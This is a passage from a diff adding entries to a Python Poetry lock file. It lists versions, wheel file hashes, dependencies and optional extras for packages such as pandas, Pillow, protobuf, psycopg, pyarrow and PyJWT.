"pandas-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:713f2f70abcdade1ddd68fc91577cb090b3544b07ceba78a12f799355a13ee44"}, + {file = "pandas-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cf3f0c361a4270185baa89ec7ab92ecaa355fe783791457077473f974f654df5"}, + {file = "pandas-2.0.2-cp39-cp39-win32.whl", hash = "sha256:598e9020d85a8cdbaa1815eb325a91cfff2bb2b23c1442549b8a3668e36f0f77"}, + {file = "pandas-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:77550c8909ebc23e56a89f91b40ad01b50c42cfbfab49b3393694a50549295ea"}, + {file = "pandas-2.0.2.tar.gz", hash = "sha256:dd5476b6c3fe410ee95926873f377b856dbc4e81a9c605a0dc05aaccc6a7c6c6"}, +] + +[package.dependencies] +numpy = [ + {version = ">=1.21.0", markers = "python_version >= \"3.10\""}, + {version = ">=1.23.2", markers = "python_version >= \"3.11\""}, +] +python-dateutil = ">=2.8.2" +pytz = ">=2020.1" +tzdata = ">=2022.1" + +[package.extras] +all = ["PyQt5 (>=5.15.1)", "SQLAlchemy (>=1.4.16)", "beautifulsoup4 (>=4.9.3)", "bottleneck (>=1.3.2)", "brotlipy (>=0.7.0)", "fastparquet (>=0.6.3)", "fsspec (>=2021.07.0)", "gcsfs (>=2021.07.0)", "html5lib (>=1.1)", "hypothesis (>=6.34.2)", "jinja2 (>=3.0.0)", "lxml (>=4.6.3)", "matplotlib (>=3.6.1)", "numba (>=0.53.1)", "numexpr (>=2.7.3)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.7)", "pandas-gbq (>=0.15.0)", "psycopg2 (>=2.8.6)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.2)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "python-snappy (>=0.6.0)", "pyxlsb (>=1.0.8)", "qtpy (>=2.2.0)", "s3fs (>=2021.08.0)", "scipy (>=1.7.1)", "tables (>=3.6.1)", "tabulate (>=0.8.9)", "xarray (>=0.21.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=1.4.3)", "zstandard (>=0.15.2)"] +aws = ["s3fs (>=2021.08.0)"] +clipboard = ["PyQt5 (>=5.15.1)", "qtpy (>=2.2.0)"] +compression = ["brotlipy (>=0.7.0)", "python-snappy (>=0.6.0)", "zstandard (>=0.15.2)"] +computation = ["scipy (>=1.7.1)", "xarray (>=0.21.0)"] +excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.7)", "pyxlsb (>=1.0.8)", "xlrd (>=2.0.1)", "xlsxwriter (>=1.4.3)"] +feather = ["pyarrow (>=7.0.0)"] +fss = ["fsspec (>=2021.07.0)"] +gcp = ["gcsfs (>=2021.07.0)", "pandas-gbq (>=0.15.0)"] +hdf5 = ["tables (>=3.6.1)"] +html = ["beautifulsoup4 (>=4.9.3)", "html5lib (>=1.1)", "lxml (>=4.6.3)"] +mysql = ["SQLAlchemy (>=1.4.16)", "pymysql (>=1.0.2)"] +output-formatting = ["jinja2 (>=3.0.0)", "tabulate (>=0.8.9)"] +parquet = ["pyarrow (>=7.0.0)"] +performance = ["bottleneck (>=1.3.2)", "numba (>=0.53.1)", "numexpr (>=2.7.1)"] +plot = ["matplotlib (>=3.6.1)"] +postgresql = ["SQLAlchemy (>=1.4.16)", "psycopg2 (>=2.8.6)"] +spss = ["pyreadstat (>=1.1.2)"] +sql-other = ["SQLAlchemy (>=1.4.16)"] +test = ["hypothesis (>=6.34.2)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"] +xml = ["lxml (>=4.6.3)"] + +[[package]] +name = "pillow" +version = "9.5.0" +description = "Python Imaging Library (Fork)" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pillow-9.5.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:ace6ca218308447b9077c14ea4ef381ba0b67ee78d64046b3f19cf4e1139ad16"}, + {file = "Pillow-9.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3d403753c9d5adc04d4694d35cf0391f0f3d57c8e0030aac09d7678fa8030aa"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ba1b81ee69573fe7124881762bb4cd2e4b6ed9dd28c9c60a632902fe8db8b38"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe7e1c262d3392afcf5071df9afa574544f28eac825284596ac6db56e6d11062"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f36397bf3f7d7c6a3abdea815ecf6fd14e7fcd4418ab24bae01008d8d8ca15e"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:252a03f1bdddce077eff2354c3861bf437c892fb1832f75ce813ee94347aa9b5"}, + {file = "Pillow-9.5.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85ec677246533e27770b0de5cf0f9d6e4ec0c212a1f89dfc941b64b21226009d"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b416f03d37d27290cb93597335a2f85ed446731200705b22bb927405320de903"}, + {file = "Pillow-9.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1781a624c229cb35a2ac31cc4a77e28cafc8900733a864870c49bfeedacd106a"}, + {file = "Pillow-9.5.0-cp310-cp310-win32.whl", hash = "sha256:8507eda3cd0608a1f94f58c64817e83ec12fa93a9436938b191b80d9e4c0fc44"}, + {file = "Pillow-9.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:d3c6b54e304c60c4181da1c9dadf83e4a54fd266a99c70ba646a9baa626819eb"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:7ec6f6ce99dab90b52da21cf0dc519e21095e332ff3b399a357c187b1a5eee32"}, + {file = "Pillow-9.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:560737e70cb9c6255d6dcba3de6578a9e2ec4b573659943a5e7e4af13f298f5c"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96e88745a55b88a7c64fa49bceff363a1a27d9a64e04019c2281049444a571e3"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9c206c29b46cfd343ea7cdfe1232443072bbb270d6a46f59c259460db76779a"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcc2c53c06f2ccb8976fb5c71d448bdd0a07d26d8e07e321c103416444c7ad1"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:a0f9bb6c80e6efcde93ffc51256d5cfb2155ff8f78292f074f60f9e70b942d99"}, + {file = "Pillow-9.5.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d935f924bbab8f0a9a28404422da8af4904e36d5c33fc6f677e4c4485515625"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fed1e1cf6a42577953abbe8e6cf2fe2f566daebde7c34724ec8803c4c0cda579"}, + {file = "Pillow-9.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c1170d6b195555644f0616fd6ed929dfcf6333b8675fcca044ae5ab110ded296"}, + {file = "Pillow-9.5.0-cp311-cp311-win32.whl", hash = "sha256:54f7102ad31a3de5666827526e248c3530b3a33539dbda27c6843d19d72644ec"}, + {file = "Pillow-9.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfa4561277f677ecf651e2b22dc43e8f5368b74a25a8f7d1d4a3a243e573f2d4"}, + {file = "Pillow-9.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:965e4a05ef364e7b973dd17fc765f42233415974d773e82144c9bbaaaea5d089"}, + {file = "Pillow-9.5.0-cp312-cp312-win32.whl", hash = "sha256:22baf0c3cf0c7f26e82d6e1adf118027afb325e703922c8dfc1d5d0156bb2eeb"}, + {file = "Pillow-9.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:432b975c009cf649420615388561c0ce7cc31ce9b2e374db659ee4f7d57a1f8b"}, + {file = "Pillow-9.5.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5d4ebf8e1db4441a55c509c4baa7a0587a0210f7cd25fcfe74dbbce7a4bd1906"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:375f6e5ee9620a271acb6820b3d1e94ffa8e741c0601db4c0c4d3cb0a9c224bf"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99eb6cafb6ba90e436684e08dad8be1637efb71c4f2180ee6b8f940739406e78"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dfaaf10b6172697b9bceb9a3bd7b951819d1ca339a5ef294d1f1ac6d7f63270"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:763782b2e03e45e2c77d7779875f4432e25121ef002a41829d8868700d119392"}, + {file = "Pillow-9.5.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:35f6e77122a0c0762268216315bf239cf52b88865bba522999dc38f1c52b9b47"}, + {file = "Pillow-9.5.0-cp37-cp37m-win32.whl", hash = "sha256:aca1c196f407ec7cf04dcbb15d19a43c507a81f7ffc45b690899d6a76ac9fda7"}, + {file = "Pillow-9.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322724c0032af6692456cd6ed554bb85f8149214d97398bb80613b04e33769f6"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:a0aa9417994d91301056f3d0038af1199eb7adc86e646a36b9e050b06f526597"}, + {file = "Pillow-9.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8286396b351785801a976b1e85ea88e937712ee2c3ac653710a4a57a8da5d9c"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c830a02caeb789633863b466b9de10c015bded434deb3ec87c768e53752ad22a"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fbd359831c1657d69bb81f0db962905ee05e5e9451913b18b831febfe0519082"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8fc330c3370a81bbf3f88557097d1ea26cd8b019d6433aa59f71195f5ddebbf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:7002d0797a3e4193c7cdee3198d7c14f92c0836d6b4a3f3046a64bd1ce8df2bf"}, + {file = "Pillow-9.5.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:229e2c79c00e85989a34b5981a2b67aa079fd08c903f0aaead522a1d68d79e51"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9adf58f5d64e474bed00d69bcd86ec4bcaa4123bfa70a65ce72e424bfb88ed96"}, + {file = "Pillow-9.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:662da1f3f89a302cc22faa9f14a262c2e3951f9dbc9617609a47521c69dd9f8f"}, + {file = "Pillow-9.5.0-cp38-cp38-win32.whl", hash = "sha256:6608ff3bf781eee0cd14d0901a2b9cc3d3834516532e3bd673a0a204dc8615fc"}, + {file = "Pillow-9.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:e49eb4e95ff6fd7c0c402508894b1ef0e01b99a44320ba7d8ecbabefddcc5569"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:482877592e927fd263028c105b36272398e3e1be3269efda09f6ba21fd83ec66"}, + {file = "Pillow-9.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3ded42b9ad70e5f1754fb7c2e2d6465a9c842e41d178f262e08b8c85ed8a1d8e"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c446d2245ba29820d405315083d55299a796695d747efceb5717a8b450324115"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aca1152d93dcc27dc55395604dcfc55bed5f25ef4c98716a928bacba90d33a3"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:608488bdcbdb4ba7837461442b90ea6f3079397ddc968c31265c1e056964f1ef"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:60037a8db8750e474af7ffc9faa9b5859e6c6d0a50e55c45576bf28be7419705"}, + {file = "Pillow-9.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:07999f5834bdc404c442146942a2ecadd1cb6292f5229f4ed3b31e0a108746b1"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a127ae76092974abfbfa38ca2d12cbeddcdeac0fb71f9627cc1135bedaf9d51a"}, + {file = "Pillow-9.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:489f8389261e5ed43ac8ff7b453162af39c3e8abd730af8363587ba64bb2e865"}, + {file = "Pillow-9.5.0-cp39-cp39-win32.whl", hash = "sha256:9b1af95c3a967bf1da94f253e56b6286b50af23392a886720f563c547e48e964"}, + {file = "Pillow-9.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:77165c4a5e7d5a284f10a6efaa39a0ae8ba839da344f20b111d62cc932fa4e5d"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:833b86a98e0ede388fa29363159c9b1a294b0905b5128baf01db683672f230f5"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aaf305d6d40bd9632198c766fb64f0c1a83ca5b667f16c1e79e1661ab5060140"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0852ddb76d85f127c135b6dd1f0bb88dbb9ee990d2cd9aa9e28526c93e794fba"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:91ec6fe47b5eb5a9968c79ad9ed78c342b1f97a091677ba0e012701add857829"}, + {file = "Pillow-9.5.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:cb841572862f629b99725ebaec3287fc6d275be9b14443ea746c1dd325053cbd"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c380b27d041209b849ed246b111b7c166ba36d7933ec6e41175fd15ab9eb1572"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9af5a3b406a50e313467e3565fc99929717f780164fe6fbb7704edba0cebbe"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5671583eab84af046a397d6d0ba25343c00cd50bce03787948e0fff01d4fd9b1"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:84a6f19ce086c1bf894644b43cd129702f781ba5751ca8572f08aa40ef0ab7b7"}, + {file = "Pillow-9.5.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1e7723bd90ef94eda669a3c2c19d549874dd5badaeefabefd26053304abe5799"}, + {file = "Pillow-9.5.0.tar.gz", hash = "sha256:bf548479d336726d7a0eceb6e767e179fbde37833ae42794602631a070d630f1"}, +] + +[package.extras] +docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] +tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] + +[[package]] +name = "protobuf" +version = "4.23.2" +description = "" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "protobuf-4.23.2-cp310-abi3-win32.whl", hash = "sha256:384dd44cb4c43f2ccddd3645389a23ae61aeb8cfa15ca3a0f60e7c3ea09b28b3"}, + {file = "protobuf-4.23.2-cp310-abi3-win_amd64.whl", hash = "sha256:09310bce43353b46d73ba7e3bca78273b9bc50349509b9698e64d288c6372c2a"}, + {file = "protobuf-4.23.2-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:b2cfab63a230b39ae603834718db74ac11e52bccaaf19bf20f5cce1a84cf76df"}, + {file = "protobuf-4.23.2-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:c52cfcbfba8eb791255edd675c1fe6056f723bf832fa67f0442218f8817c076e"}, + {file = "protobuf-4.23.2-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:86df87016d290143c7ce3be3ad52d055714ebaebb57cc659c387e76cfacd81aa"}, + {file = "protobuf-4.23.2-cp37-cp37m-win32.whl", hash = "sha256:281342ea5eb631c86697e1e048cb7e73b8a4e85f3299a128c116f05f5c668f8f"}, + {file = "protobuf-4.23.2-cp37-cp37m-win_amd64.whl", hash = "sha256:ce744938406de1e64b91410f473736e815f28c3b71201302612a68bf01517fea"}, + {file = "protobuf-4.23.2-cp38-cp38-win32.whl", hash = "sha256:6c081863c379bb1741be8f8193e893511312b1d7329b4a75445d1ea9955be69e"}, + {file = "protobuf-4.23.2-cp38-cp38-win_amd64.whl", hash = "sha256:25e3370eda26469b58b602e29dff069cfaae8eaa0ef4550039cc5ef8dc004511"}, + {file = "protobuf-4.23.2-cp39-cp39-win32.whl", hash = "sha256:efabbbbac1ab519a514579ba9ec52f006c28ae19d97915951f69fa70da2c9e91"}, + {file = "protobuf-4.23.2-cp39-cp39-win_amd64.whl", hash = "sha256:54a533b971288af3b9926e53850c7eb186886c0c84e61daa8444385a4720297f"}, + {file = "protobuf-4.23.2-py3-none-any.whl", hash = "sha256:8da6070310d634c99c0db7df48f10da495cc283fd9e9234877f0cd182d43ab7f"}, + {file = "protobuf-4.23.2.tar.gz", hash = "sha256:20874e7ca4436f683b64ebdbee2129a5a2c301579a67d1a7dda2cdf62fb7f5f7"}, +] + +[[package]] +name = "psycopg" +version = "3.1.9" +description = "PostgreSQL database adapter for Python" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "psycopg-3.1.9-py3-none-any.whl", hash = "sha256:fbbac339274d8733ee70ba9822297af3e8871790a26e967b5ea53e30a4b74dcc"}, + {file = "psycopg-3.1.9.tar.gz", hash = "sha256:ab400f207a8c120bafdd8077916d8f6c0106e809401378708485b016508c30c9"}, +] + +[package.dependencies] +typing-extensions = ">=4.1" +tzdata = {version = "*", markers = "sys_platform == \"win32\""} + +[package.extras] +binary = ["psycopg-binary (==3.1.9)"] +c = ["psycopg-c (==3.1.9)"] +dev = ["black (>=23.1.0)", "dnspython (>=2.1)", "flake8 (>=4.0)", "mypy (>=1.2)", "types-setuptools (>=57.4)", "wheel (>=0.37)"] +docs = ["Sphinx (>=5.0)", "furo (==2022.6.21)", "sphinx-autobuild (>=2021.3.14)", "sphinx-autodoc-typehints (>=1.12)"] +pool = ["psycopg-pool"] +test = ["anyio (>=3.6.2)", "mypy (>=1.2)", "pproxy (>=2.7)", "pytest (>=6.2.5)", "pytest-cov (>=3.0)", "pytest-randomly (>=3.5)"] + +[[package]] +name = "psycopg2" +version = "2.9.6" +description = "psycopg2 - Python-PostgreSQL Database Adapter" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "psycopg2-2.9.6-cp310-cp310-win32.whl", hash = "sha256:f7a7a5ee78ba7dc74265ba69e010ae89dae635eea0e97b055fb641a01a31d2b1"}, + {file = "psycopg2-2.9.6-cp310-cp310-win_amd64.whl", hash = "sha256:f75001a1cbbe523e00b0ef896a5a1ada2da93ccd752b7636db5a99bc57c44494"}, + {file = "psycopg2-2.9.6-cp311-cp311-win32.whl", hash = "sha256:53f4ad0a3988f983e9b49a5d9765d663bbe84f508ed655affdb810af9d0972ad"}, + {file = "psycopg2-2.9.6-cp311-cp311-win_amd64.whl", hash = "sha256:b81fcb9ecfc584f661b71c889edeae70bae30d3ef74fa0ca388ecda50b1222b7"}, + {file = "psycopg2-2.9.6-cp36-cp36m-win32.whl", hash = "sha256:11aca705ec888e4f4cea97289a0bf0f22a067a32614f6ef64fcf7b8bfbc53744"}, + {file = "psycopg2-2.9.6-cp36-cp36m-win_amd64.whl", hash = "sha256:36c941a767341d11549c0fbdbb2bf5be2eda4caf87f65dfcd7d146828bd27f39"}, + {file = "psycopg2-2.9.6-cp37-cp37m-win32.whl", hash = "sha256:869776630c04f335d4124f120b7fb377fe44b0a7645ab3c34b4ba42516951889"}, + {file = "psycopg2-2.9.6-cp37-cp37m-win_amd64.whl", hash = "sha256:a8ad4a47f42aa6aec8d061fdae21eaed8d864d4bb0f0cade5ad32ca16fcd6258"}, + {file = "psycopg2-2.9.6-cp38-cp38-win32.whl", hash = "sha256:2362ee4d07ac85ff0ad93e22c693d0f37ff63e28f0615a16b6635a645f4b9214"}, + {file = "psycopg2-2.9.6-cp38-cp38-win_amd64.whl", hash = "sha256:d24ead3716a7d093b90b27b3d73459fe8cd90fd7065cf43b3c40966221d8c394"}, + {file = "psycopg2-2.9.6-cp39-cp39-win32.whl", hash = "sha256:1861a53a6a0fd248e42ea37c957d36950da00266378746588eab4f4b5649e95f"}, + {file = "psycopg2-2.9.6-cp39-cp39-win_amd64.whl", hash = "sha256:ded2faa2e6dfb430af7713d87ab4abbfc764d8d7fb73eafe96a24155f906ebf5"}, + {file = "psycopg2-2.9.6.tar.gz", hash = "sha256:f15158418fd826831b28585e2ab48ed8df2d0d98f502a2b4fe619e7d5ca29011"}, +] + +[[package]] +name = "pyarrow" +version = "12.0.0" +description = "Python library for Apache Arrow" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyarrow-12.0.0-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:3b97649c8a9a09e1d8dc76513054f1331bd9ece78ee39365e6bf6bc7503c1e94"}, + {file = "pyarrow-12.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bc4ea634dacb03936f50fcf59574a8e727f90c17c24527e488d8ceb52ae284de"}, + {file = "pyarrow-12.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d568acfca3faa565d663e53ee34173be8e23a95f78f2abfdad198010ec8f745"}, + {file = "pyarrow-12.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b50bb9a82dca38a002d7cbd802a16b1af0f8c50ed2ec94a319f5f2afc047ee9"}, + {file = "pyarrow-12.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:3d1733b1ea086b3c101427d0e57e2be3eb964686e83c2363862a887bb5c41fa8"}, + {file = "pyarrow-12.0.0-cp311-cp311-macosx_10_14_x86_64.whl", hash = "sha256:a7cd32fe77f967fe08228bc100433273020e58dd6caced12627bcc0a7675a513"}, + {file = "pyarrow-12.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:92fb031e6777847f5c9b01eaa5aa0c9033e853ee80117dce895f116d8b0c3ca3"}, + {file = "pyarrow-12.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:280289ebfd4ac3570f6b776515baa01e4dcbf17122c401e4b7170a27c4be63fd"}, + {file = "pyarrow-12.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:272f147d4f8387bec95f17bb58dcfc7bc7278bb93e01cb7b08a0e93a8921e18e"}, + {file = "pyarrow-12.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:0846ace49998825eda4722f8d7f83fa05601c832549c9087ea49d6d5397d8cec"}, + {file = "pyarrow-12.0.0-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:993287136369aca60005ee7d64130f9466489c4f7425f5c284315b0a5401ccd9"}, + {file = "pyarrow-12.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a7b6a765ee4f88efd7d8348d9a1f804487d60799d0428b6ddf3344eaef37282"}, + {file = "pyarrow-12.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1c4fce253d5bdc8d62f11cfa3da5b0b34b562c04ce84abb8bd7447e63c2b327"}, + {file = "pyarrow-12.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:e6be4d85707fc8e7a221c8ab86a40449ce62559ce25c94321df7c8500245888f"}, + {file = "pyarrow-12.0.0-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:ea830d9f66bfb82d30b5794642f83dd0e4a718846462d22328981e9eb149cba8"}, + {file = "pyarrow-12.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7b5b9f60d9ef756db59bec8d90e4576b7df57861e6a3d6a8bf99538f68ca15b3"}, + {file = "pyarrow-12.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b99e559d27db36ad3a33868a475f03e3129430fc065accc839ef4daa12c6dab6"}, + {file = "pyarrow-12.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b0810864a593b89877120972d1f7af1d1c9389876dbed92b962ed81492d3ffc"}, + {file = "pyarrow-12.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:23a77d97f4d101ddfe81b9c2ee03a177f0e590a7e68af15eafa06e8f3cf05976"}, + {file = "pyarrow-12.0.0-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:2cc63e746221cddb9001f7281dee95fd658085dd5b717b076950e1ccc607059c"}, + {file = "pyarrow-12.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d8c26912607e26c2991826bbaf3cf2b9c8c3e17566598c193b492f058b40d3a4"}, + {file = "pyarrow-12.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d8b90efc290e99a81d06015f3a46601c259ecc81ffb6d8ce288c91bd1b868c9"}, + {file = "pyarrow-12.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2466be046b81863be24db370dffd30a2e7894b4f9823fb60ef0a733c31ac6256"}, + {file = "pyarrow-12.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:0e36425b1c1cbf5447718b3f1751bf86c58f2b3ad299f996cd9b1aa040967656"}, + {file = "pyarrow-12.0.0.tar.gz", hash = "sha256:19c812d303610ab5d664b7b1de4051ae23565f9f94d04cbea9e50569746ae1ee"}, +] + +[package.dependencies] +numpy = ">=1.16.6" + +[[package]] +name = "pycparser" +version = "2.21" +description = "C parser in Python" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, +] + +[[package]] +name = "pydeck" +version = "0.8.1b0" +description = "Widget for deck.gl maps" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydeck-0.8.1b0-py2.py3-none-any.whl", hash = "sha256:c89b3dd76f9991140a33b886b336c762105e9c9def8e842e891bc72dbce8a4ce"}, + {file = "pydeck-0.8.1b0.tar.gz", hash = "sha256:9e0a67890ab061b8c6080e06f8c780934c00355a7114291c884f055f3fc0dc25"}, +] + +[package.dependencies] +jinja2 = ">=2.10.1" +numpy = ">=1.16.4" + +[package.extras] +carto = ["pydeck-carto"] +jupyter = ["ipykernel (>=5.1.2)", "ipython (>=5.8.0)", "ipywidgets (>=7,<8)", "traitlets (>=4.3.2)"] + +[[package]] +name = "pygments" +version = "2.15.1" +description = "Pygments is a syntax highlighting package written in Python." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pyjwt" +version = "2.7.0" +description = "JSON Web Token implementation in Python" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "PyJWT-2.7.0-py3-none-any.whl", hash = "sha256:ba2b425b15ad5ef12f200dc67dd56af4e26de2331f965c5439994dad075876e1"}, + {file = "PyJWT-2.7.0.tar.gz", hash = "sha256:bd6ca4a3c4285c1a2d4349e5a035fdf8fb94e04ccd0fcbe6ba289dae9cc3e074"}, +] + +[package.extras] +crypto = ["cryptography (>=3.4.0)"] +dev = 